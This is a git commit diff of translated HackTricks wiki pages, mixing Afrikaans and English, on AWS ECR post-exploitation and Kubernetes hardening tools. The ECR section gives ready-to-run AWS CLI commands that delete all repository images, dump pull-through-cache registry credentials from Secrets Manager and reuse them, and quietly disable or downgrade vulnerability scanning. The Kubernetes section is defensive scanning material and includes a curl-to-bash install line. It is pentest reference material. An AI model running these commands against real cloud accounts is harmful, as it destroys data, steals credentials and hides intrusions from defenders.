mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-02 15:59:58 -08:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har
This commit is contained in:
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Nadat jy die beelde afgelaai het, moet jy hulle **vir sensitiewe inligting nagaan**:
|
||||
Nadat jy die images afgelaai het, moet jy **hulle vir sensitiewe inligting nagaan**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
’n aanvaller met enige van hierdie toestemmings kan **’n lewensiklusbeleid skep of wysig om alle beelde in die repository te verwyder** en daarna **die hele ECR repository verwyder**. Dit sou lei tot die verlies van alle container-beelde wat in die repository gestoor is.
|
||||
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. Dit sal lei tot die verlies van alle container images wat in die repository gestoor is.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
### Exfiltrate opstroom-registrasie-aanmeldbewyse van ECR Pull‑Through Cache (PTC)
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
As ECR Pull‑Through Cache gekonfigureer is vir geverifieerde opstroom-registries (Docker Hub, GHCR, ACR, etc.), word die opstroom-aanmeldbewyse gestoor in AWS Secrets Manager met 'n voorspelbare naamvoorvoegsel: `ecr-pullthroughcache/`. Operateurs verleen soms ECR-admins breë Secrets Manager lees-toegang, wat exfiltration van aanmeldbewyse en hergebruik buite AWS moontlik maak.
|
||||
As ECR Pull‑Through Cache gekonfigureer is vir geverifieerde upstream registries (Docker Hub, GHCR, ACR, ens.), word die upstream credentials gestoor in AWS Secrets Manager met 'n voorspelbare naamvoorvoegsel: `ecr-pullthroughcache/`. Operateurs gee soms ECR admins breë Secrets Manager read access, wat credential exfiltration en hergebruik buite AWS moontlik maak.
|
||||
|
||||
Vereistes
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Enumereer kandidaat PTC-sekrete
|
||||
Enumerate candidate PTC secrets
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Onttrek ontdekte geheime en ontleed algemene velde
|
||||
Dump ontdekte secrets en parse algemene velde
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -118,21 +118,21 @@ Opsioneel: verifieer leaked creds teen die upstream (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Impact
|
||||
- Lees van hierdie Secrets Manager-inskrywings lewer herbruikbare upstream registry-credentials (gebruikersnaam/wagwoord of token), wat buite AWS misbruik kan word om private images te pull of toegang tot addisionele repositorieë te kry, afhangend van upstream-permissies.
|
||||
Impak
|
||||
- Deur hierdie Secrets Manager-inskrywings te lees kry jy herbruikbare upstream registry credentials (gebruikersnaam/wagwoord of token), wat buite AWS misbruik kan word om private images te trek of toegang tot addisionele repositories te kry, afhangend van upstream-permissies.
|
||||
|
||||
|
||||
### Registervlak stealth: deaktiveer of verlaag die skandering via `ecr:PutRegistryScanningConfiguration`
|
||||
### Registervlak-verborgenheid: deaktiveer of verlaag skandering via `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
'n Aanvaller met registry-level ECR-regte kan stilweg die outomatiese kwetsbaarheidskandering vir ALLE repositorieë verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push-reëls. Dit verhoed dat nuwe image pushes outomaties geskan word en verberg kwesbare of kwaadwillige images.
|
||||
'n Aanvaller met registervlak ECR-permissies kan stilweg die outomatiese kwesbaarheidskandering vir ALLE repositories verminder of deaktiveer deur die registry scanning configuration op BASIC te stel sonder enige scan-on-push reëls. Dit verhoed dat nuwe image pushes outomaties geskandeer word en verberg kwesbare of kwaadwillige images.
|
||||
|
||||
Vereistes
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (opsioneel, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verifikasie)
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
|
||||
|
||||
Register-wye terugskakeling na handmatig (geen outomatiese skanderings)
|
||||
Register-wye degradering na handmatig (geen outo-skanderings nie)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Read current config (save to restore later)
|
||||
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Opsioneel: verder degradeer op repo-vlak
|
||||
Opsioneel: verdere degradasie op repo-skaal
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Impak
|
||||
- Nuwe image pushes oor die register word nie outomaties scanned nie, wat sigbaarheid van kwesbare of kwaadwillige inhoud verminder en opsporing vertraag totdat 'n handmatige scan geïnisieer word.
|
||||
- New image pushes across the registry are not scanned automatically, reducing visibility of vulnerable or malicious content and delaying detection until a manual scan is initiated.
|
||||
|
||||
|
||||
### Register‑wye scanning-enjin afgradering via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Registerwye terugskaling van die skandeer-enjin via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Verminder kwesbaarheid‑opsporing se gehalte oor die hele register deur die BASIC scan enjin van die standaard AWS_NATIVE na die legacy CLAIR enjin te skakel. Dit deaktiveer nie scanning nie, maar kan gevindes/omvang beduidend verander. Kombineer dit met 'n BASIC register scanning‑konfigurasie sonder reëls om scans slegs handmatig te maak.
|
||||
Verminder die gehalte van kwesbaarheid-opsporing oor die hele register deur die BASIC scan-enjin van die verstek AWS_NATIVE na die legacy CLAIR-enjin te skuif. Dit skakel scanning nie uit nie maar kan bevindinge/dekking materieel verander. Kombineer dit met 'n BASIC registry scanning configuration sonder reëls om skanderings slegs-handmatig te maak.
|
||||
|
||||
Vereistes
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Opsioneel) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Impak
|
||||
- Register‑instelling `BASIC_SCAN_TYPE_VERSION` gestel op `CLAIR` sodat daaropvolgende BASIC scans met die afgegradeerde enjin uitgevoer word. CloudTrail neem die `PutAccountSetting` API‑oproep op.
|
||||
- Registerinstelling `BASIC_SCAN_TYPE_VERSION` is op `CLAIR` gestel sodat daaropvolgende BASIC scans met die afgegradeerde enjin loop. CloudTrail neem die `PutAccountSetting` API call op.
|
||||
|
||||
Stappe
|
||||
```bash
|
||||
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
### Skandeer ECR-beelde vir kwesbaarhede
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
|
||||
|
||||
region=<region>
|
||||
profile=<aws_profile>
|
||||
|
||||
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
|
||||
|
||||
# Configure docker creds
|
||||
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
|
||||
|
||||
while read -r repo; do
|
||||
echo "Working on repository $repo"
|
||||
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
|
||||
if [ -z "$digest" ]
|
||||
then
|
||||
echo "No images! Empty repository"
|
||||
continue
|
||||
fi
|
||||
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
|
||||
echo "Pulling $url"
|
||||
docker pull $url
|
||||
echo "Scanning $url"
|
||||
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
|
||||
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
|
||||
# echo "Removing image $url"
|
||||
# docker image rm $url
|
||||
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Gereedskap om 'n cluster te ontleed
|
||||
## Gereedskap om 'n cluster te analiseer
|
||||
|
||||
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
|
||||
|
||||
Dit sal **verskeie nakomingskontroles op die Kubernetes-cluster** uitvoer. Dit sluit ondersteuning in vir CIS, die National Security Agency (NSA) en die Cybersecurity and Infrastructure Security Agency (CISA) se Cybersecurity-tegniese verslag vir Kubernetes-verharding.
|
||||
Dit sal **verskeie nalevingskontroles op die Kubernetes-cluster** uitvoer. Dit sluit ondersteuning in vir CIS, National Security Agency (NSA) en die Cybersecurity and Infrastructure Security Agency (CISA) se tegniese kuberveiligheidsverslag vir Kubernetes-verharding.
|
||||
```bash
|
||||
# Install Steampipe
|
||||
brew install turbot/tap/powerpipe
|
||||
@@ -27,88 +27,87 @@ powerpipe server
|
||||
```
|
||||
### [**Kubescape**](https://github.com/armosec/kubescape)
|
||||
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) is 'n open-source K8s-hulpmiddel wat 'n multi-cloud K8s enkele beheerpaneel bied, insluitend risiko-analise, sekuriteitsnakoming, RBAC-visualiseerder en skandering vir image-kwesbaarhede. Kubescape skandeer K8s-klusters, YAML-lêers en HELM-charts, bespeur wankonfigurasies volgens verskeie raamwerke (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), sagteware-kwesbaarhede en RBAC (role-based-access-control) oortredings in vroeë stadiums van die CI/CD-pyplyn, bereken onmiddellik 'n risikoscore en wys risikoneigings oor tyd.
|
||||
[**Kubescape**](https://github.com/armosec/kubescape) is 'n K8s open-source hulpmiddel wat 'n multi-cloud K8s een-paneel-oorsig bied, insluitend risiko-analise, sekuriteitsnakoming, 'n RBAC-visualiseerder en skandering van image-kwesbaarhede. Kubescape scant K8s clusters, YAML-lêers, en HELM charts, en ontdek misconfigurations volgens verskeie raamwerke (soos die [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), sagteware-kwesbaarhede, en RBAC (role-based-access-control) oortredings in vroeë stadiums van die CI/CD-pyplyn, bereken risikotelling onmiddellik en toon risiko-trends oor tyd.
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
|
||||
kubescape scan --verbose
|
||||
```
|
||||
### [**Popeye**](https://github.com/derailed/popeye)
|
||||
|
||||
[**Popeye**](https://github.com/derailed/popeye) is 'n nutsfoefie wat lewendige Kubernetes-clusters skandeer en **meld potensiële probleme met uitgerolde bronne en konfigurasies**. Dit sanitiseer jou cluster op grond van wat uitgerol is en nie wat op die skyf lê nie. Deur jou cluster te skandeer, ontdek dit verkeerde konfigurasies en help dit jou om te verseker dat beste praktyke geïmplementeer is, wat toekomstige hoofpyne voorkom. Dit poog om die kognitiewe \_oorlaai te verminder wat iemand ervaar wanneer 'n Kubernetes-cluster in die veld bedryf word. Verder, as jou cluster 'n metric-server gebruik, rapporteer dit potensiële oor-/onder-toekennings van hulpbronne en probeer dit jou waarsku sou jou cluster opraak van kapasiteit.
|
||||
[**Popeye**](https://github.com/derailed/popeye) is 'n hulpmiddel wat lewende Kubernetes-klusters skandeer en **rapporteer potensiële probleme met gedeployde hulpbronne en konfigurasies**. Dit suiwer jou cluster gebaseer op wat gedeploy is en nie op wat op die skyf lê nie. Deur jou cluster te skandeer, ontdek dit miskonfigurasies en help dit jou om te verseker dat beste praktyke ingestel is, en sodoende toekomstige hoofpyn te voorkom. Dit streef daarna om die kognitiewe \_oor_las te verminder wat mens ervaar wanneer jy 'n Kubernetes-cluster in die veld bedryf. Verder, as jou cluster 'n metric-server gebruik, rapporteer dit potensiële oor-/ondertoewysings van hulpbronne en probeer dit jou waarsku indien jou cluster geen kapasiteit meer het nie.
|
||||
|
||||
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
|
||||
|
||||
Die hulpmiddel [**kube-bench**](https://github.com/aquasecurity/kube-bench) is 'n instrument wat nagaan of Kubernetes veilig uitgerol is deur die kontrole uit te voer wat in die [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/) gedokumenteer is.\
|
||||
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
|
||||
Jy kan kies om:
|
||||
|
||||
- voer kube-bench uit van binne 'n container (deel PID namespace met die host)
|
||||
- voer 'n container uit wat kube-bench op die host installeer, en voer dan kube-bench direk op die host uit
|
||||
- installeer die nuutste binaries vanaf die [Releases page](https://github.com/aquasecurity/kube-bench/releases),
|
||||
- kompileer dit vanaf bronkode.
|
||||
- kube-bench binne 'n container uit te voer (deel PID namespace met die host)
|
||||
- 'n container uit te voer wat kube-bench op die host installeer, en dan kube-bench direk op die host uit te voer
|
||||
- die nuutste binaries vanaf die [Releases page](https://github.com/aquasecurity/kube-bench/releases) te installeer,
|
||||
- dit vanaf bron te compileer.
|
||||
|
||||
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
|
||||
|
||||
**[DEPRECATED]** Die hulpmiddel [**kubeaudit**](https://github.com/Shopify/kubeaudit) is 'n command line tool en 'n Go-pakket om **oudit Kubernetes-klusters** vir verskeie sekuriteitskwessies.
|
||||
**[DEPRECATED]** Die hulpmiddel [**kubeaudit**](https://github.com/Shopify/kubeaudit) is 'n command line tool en 'n Go-pakket om **Kubernetes-klusters te ouditeer** vir verskeie sekuriteitskwessies.
|
||||
|
||||
Kubeaudit kan opspoor of dit binne 'n container in 'n cluster loop. Indien wel, sal dit probeer om alle Kubernetes-hulpbronne in daardie cluster te oudit:
|
||||
Kubeaudit kan opspoor of dit binne 'n container in 'n cluster aan die loop is. Indien so, sal dit probeer om alle Kubernetes-hulpbronne in daardie cluster te ouditeer:
|
||||
```
|
||||
kubeaudit all
|
||||
```
|
||||
Hierdie hulpmiddel het ook die argument `autofix` om **opgespoorde probleme outomaties reg te stel.**
|
||||
Hierdie tool het ook die argument `autofix` om **outomaties gedetekteerde kwessies reg te stel.**
|
||||
|
||||
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
|
||||
|
||||
**[DEPRECATED]** Die hulpmiddel [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) soek na sekuriteitskwesbaarhede in Kubernetes clusters. Die hulpmiddel is ontwikkel om die bewustheid en sigbaarheid van sekuriteitskwessies in Kubernetes-omgewings te verhoog.
|
||||
**[DEPRECATED]** Die tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) jaag na sekuriteitskwessies in Kubernetes clusters. Die tool is ontwikkel om bewusmaking en sigbaarheid vir sekuriteitskwessies in Kubernetes-omgewings te verhoog.
|
||||
```bash
|
||||
kube-hunter --remote some.node.com
|
||||
```
|
||||
### [Trivy](https://github.com/aquasecurity/trivy)
|
||||
|
||||
[Trivy](https://github.com/aquasecurity/trivy) het skandeerders wat na sekuriteitsprobleme soek, en teikens waar dit die probleme kan vind:
|
||||
[Trivy] het skandeerders wat na sekuriteitsprobleme soek, en teikens waar dit daardie probleme kan vind:
|
||||
|
||||
- Container Image
|
||||
- Lêerstelsel
|
||||
- Git-bewaarplek (afgeleë)
|
||||
- Virtuele masjienbeeld
|
||||
- Filesystem
|
||||
- Git Repository (remote)
|
||||
- Virtual Machine Image
|
||||
- Kubernetes
|
||||
|
||||
|
||||
### [**Kubei**](https://github.com/Erezf-p/kubei)
|
||||
|
||||
**[Lyk ononderhou]**
|
||||
**[Lyk asof dit nie meer onderhou word nie]**
|
||||
|
||||
[**Kubei**](https://github.com/Erezf-p/kubei) is 'n hulpmiddel vir die skandering van kwesbaarhede en 'n CIS Docker-benchmark wat gebruikers in staat stel om 'n akkurate en onmiddellike risiko-assessering van hul Kubernetes-klusters te kry. Kubei skandeer alle beelde wat in 'n Kubernetes-kluster gebruik word, insluitend beelde van toepassings-pods en stelsel-pods.
|
||||
[**Kubei**] is 'n kwesbaarheidsskandering- en CIS Docker-benchmark hulpmiddel wat gebruikers in staat stel om 'n akkurate en onmiddellike risikoassessering van hul Kubernetes-klusters te kry. Kubei skandeer alle images wat in 'n Kubernetes-kluster gebruik word, insluitend images van application pods en system pods.
|
||||
|
||||
### [**KubiScan**](https://github.com/cyberark/KubiScan)
|
||||
|
||||
[**KubiScan**](https://github.com/cyberark/KubiScan) is 'n hulpmiddel om Kubernetes-klusters na riskante toestemmings te skandeer binne Kubernetes se rolgebaseerde toegangbeheer (RBAC) magtigingsmodel.
|
||||
[**KubiScan**] is 'n instrument om Kubernetes-klusters te skandeer vir riskante permissies in Kubernetes se Role-based access control (RBAC) autorisatiemodel.
|
||||
|
||||
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
|
||||
|
||||
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) is 'n instrument wat gebou is om ander tipes hoërisiko-kontroles te toets in vergelyking met die ander gereedskap. Dit het hoofsaaklik 3 verskillende modusse:
|
||||
[**Mkat**] is 'n instrument gebou om ander tipes hoogrisiko-kontroles te toets in vergelyking met die ander instrumente. Dit het hoofsaaklik 3 verskillende modusse:
|
||||
|
||||
- **`find-role-relationships`**: Wat sal opspoor watter AWS-rolle in watter pods uitgevoer word
|
||||
- **`find-secrets`**: Wat probeer om geheime in K8s-hulpbronne soos Pods, ConfigMaps, en Secrets te identifiseer.
|
||||
- **`test-imds-access`**: Wat sal probeer om pods te laat loop en toegang tot die metadata v1 en v2 te kry. WAARSKUWING: Dit sal 'n pod in die kluster laat loop; wees baie versigtig aangesien jy dit dalk nie wil doen nie!
|
||||
- **`find-role-relationships`**: Wat sal vind watter AWS rolle in watter pods loop
|
||||
- **`find-secrets`**: Wat probeer geheime identifiseer in K8s hulpbronne soos Pods, ConfigMaps, en Secrets.
|
||||
- **`test-imds-access`**: Wat sal probeer pods laat loop en toegang probeer kry tot metadata v1 en v2. WAARSKUWING: Dit sal 'n pod in die kluster laat loop; wees baie versigtig want dalk wil jy dit nie doen nie!
|
||||
|
||||
|
||||
## **Oudit IaC-kode**
|
||||
## **Audit IaC-kode**
|
||||
|
||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||
|
||||
[**KICS**](https://github.com/Checkmarx/kics) vind **sekuriteitskwesbaarhede**, nakomingsprobleme, en infrastruktuurverkeerde konfigurasies in die volgende **Infrastructure as Code-oplossings**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, en OpenAPI 3.0 spesifikasies
|
||||
[**KICS**] vind **sekuriteitskwesbaarhede**, nakomingskwessies, en infrastruktuur-wankonfigurasies in die volgende **Infrastructure as Code solutions**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, and OpenAPI 3.0 specifications
|
||||
|
||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) is 'n statiese kode-analisehulpmiddel vir infrastructure-as-code.
|
||||
[**Checkov**] is 'n statiese kode-analise-instrument vir infrastructure-as-code.
|
||||
|
||||
Dit skandeer wolkinfrastruktuur wat voorsien word met behulp van [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) of [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) en ontdek sekuriteits- en nakomingskonfigurasies deur grafgebaseerde skandering.
|
||||
Dit scan cloud infrastruktuur geprovisioneer met behulp van [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) of [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) en identifiseer sekuriteits- en nakomings-wankonfigurasies deur graf-gebaseerde skandering.
|
||||
|
||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||
|
||||
[**kube-score**](https://github.com/zegl/kube-score) is 'n hulpmiddel wat statiese kode-analise van jou Kubernetes-objekdefinisies uitvoer.
|
||||
[**kube-score**] is 'n instrument wat statiese kode-analise uitvoer op jou Kubernetes-objekdefinisies.
|
||||
|
||||
Om te installeer:
|
||||
To install:
|
||||
|
||||
| Distribution | Command / Link |
|
||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
@@ -117,7 +116,7 @@ Om te installeer:
|
||||
| Homebrew (macOS and Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
|
||||
|
||||
## Gereedskap om YAML-lêers & Helm Charts te ontleed
|
||||
## Tools to analyze YAML files & Helm Charts
|
||||
|
||||
### [**Kube-linter**](https://github.com/stackrox/kube-linter)
|
||||
```bash
|
||||
@@ -163,41 +162,113 @@ helm template chart /path/to/chart \
|
||||
--set 'config.urls[0]=https://dummy.backend.internal' \
|
||||
| kubesec scan -
|
||||
```
|
||||
## Skandeer afhanklikheidsprobleme
|
||||
|
||||
### Skandeer beelde
|
||||
```bash
|
||||
#!/bin/bash
|
||||
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
|
||||
echo "All images found: $images"
|
||||
echo ""
|
||||
echo ""
|
||||
for image in $images; do
|
||||
# Run trivy scan and save JSON output
|
||||
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
|
||||
# Extract binary targets that have vulnerabilities
|
||||
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
|
||||
if [ -n "$binaries" ]; then
|
||||
echo "- **Image:** $image"
|
||||
while IFS= read -r binary; do
|
||||
echo " - **Binary:** $binary"
|
||||
jq -r --arg target "$binary" '
|
||||
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
|
||||
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
|
||||
' /tmp/result.json
|
||||
done <<< "$binaries"
|
||||
echo ""
|
||||
echo ""
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
### Skandeer Helm charts
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# scan-helm-charts.sh
|
||||
# This script lists all Helm releases, renders their manifests,
|
||||
# and then scans each manifest with Trivy for configuration issues.
|
||||
|
||||
# Check that jq is installed
|
||||
if ! command -v jq &>/dev/null; then
|
||||
echo "jq is required but not installed. Please install jq and rerun."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# List all helm releases and extract namespace and release name
|
||||
echo "Listing Helm releases..."
|
||||
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
|
||||
|
||||
# Check if any releases were found
|
||||
if [ ! -s helm_releases.txt ]; then
|
||||
echo "No Helm releases found."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Loop through each Helm release and scan its rendered manifest
|
||||
while IFS=" " read -r namespace release; do
|
||||
echo "---------------------------------------------"
|
||||
echo "Scanning Helm release '$release' in namespace '$namespace'..."
|
||||
# Render the Helm chart manifest
|
||||
manifest_file="${release}-manifest.yaml"
|
||||
helm get manifest "$release" -n "$namespace" > "$manifest_file"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "Failed to get manifest for $release in $namespace. Skipping."
|
||||
continue
|
||||
fi
|
||||
# Scan the manifest with Trivy (configuration scan)
|
||||
echo "Running Trivy config scan on $manifest_file..."
|
||||
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
|
||||
echo "Completed scan for $release."
|
||||
done < helm_releases.txt
|
||||
|
||||
echo "---------------------------------------------"
|
||||
echo "Helm chart scanning complete."
|
||||
```
|
||||
## Wenke
|
||||
|
||||
### Kubernetes PodSecurityContext and SecurityContext
|
||||
### Kubernetes PodSecurityContext en SecurityContext
|
||||
|
||||
Jy kan die **sekuriteitskonteks van die Pods** (met _PodSecurityContext_) en van die **containers** wat uitgevoer gaan word (met _SecurityContext_) configureer. Vir meer inligting lees:
|
||||
Jy kan die **sekuriteitskonteks van die Pods** (met _PodSecurityContext_) en van die **containers** wat uitgevoer gaan word (met _SecurityContext_) konfigureer. Vir meer inligting lees:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-securitycontext-s.md
|
||||
{{#endref}}
|
||||
|
||||
### Kubernetes API Hardening
|
||||
### Kubernetes API-verharding
|
||||
|
||||
Dit is baie belangrik om die **toegang tot die Kubernetes Api Server te beskerm** aangesien 'n kwaadwillige akteur met genoeg voorregte dit kan misbruik en op baie maniere skade aan die omgewing kan aanrig.\
|
||||
Dit is belangrik om beide die **toegang** (**whitelist** oorspronge om toegang tot die API Server te verleen en enige ander konneksie te weier) en die [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (volgens die beginsel van **minste** **voorregte**) te beveilig. En beslis **nooit** **anonieme** **versoeke** toelaat nie.
|
||||
Dit is baie belangrik om die toegang tot die Kubernetes Api Server te beskerm, aangesien 'n kwaadwillige akteur met genoeg voorregte dit kan misbruik en die omgewing op verskeie maniere kan beskadig.\
|
||||
Dit is belangrik om sowel die **toegang** (**whitelist** oorspronge wat toegang tot die API Server kry en weier enige ander verbinding) as die [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (volg die beginsel van **minste** **voorregte**) te beveilig. En beslis **moet nooit** **anonieme** **versoeke** **toegelaat** word.
|
||||
|
||||
**Algemene versoekproses:**\
|
||||
Gebruiker of K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||
Gebruiker of K8s ServiceAccount –> Verifikasie –> Autorisasie –> Toelatingsbeheer.
|
||||
|
||||
**Wenke**:
|
||||
|
||||
- Sluit poorte.
|
||||
- Vermy anonieme toegang.
|
||||
- NodeRestriction; Geen toegang vanaf spesifieke nodes tot die API.
|
||||
- NodeRestriction; Geen toegang van spesifieke nodes tot die API.
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- Verhoed in die praktyk dat kubelets labels met 'n node-restriction.kubernetes.io/ prefix byvoeg/verwyder/opdateer. Hierdie label-prefix is gereserveer vir administrateurs om hul Node-objekte te label vir werkbelasting-isolasiedoeleindes, en kubelets sal nie toegelaat word om labels met daardie prefix te wysig nie.
|
||||
- En ook, laat kubelets toe om hierdie labels en label-prefixe by te voeg/verwyder/opdateer.
|
||||
- Sorg met labels vir veilige werkbelasting-isolasie.
|
||||
- Voorkom dat sekere pods toegang tot die API het.
|
||||
- Voorkom ApiServer-blootstelling aan die internet.
|
||||
- Voorkom ongemagtigde toegang via RBAC.
|
||||
- Beskerm die ApiServer-poort met 'n firewall en IP-whitelisting.
|
||||
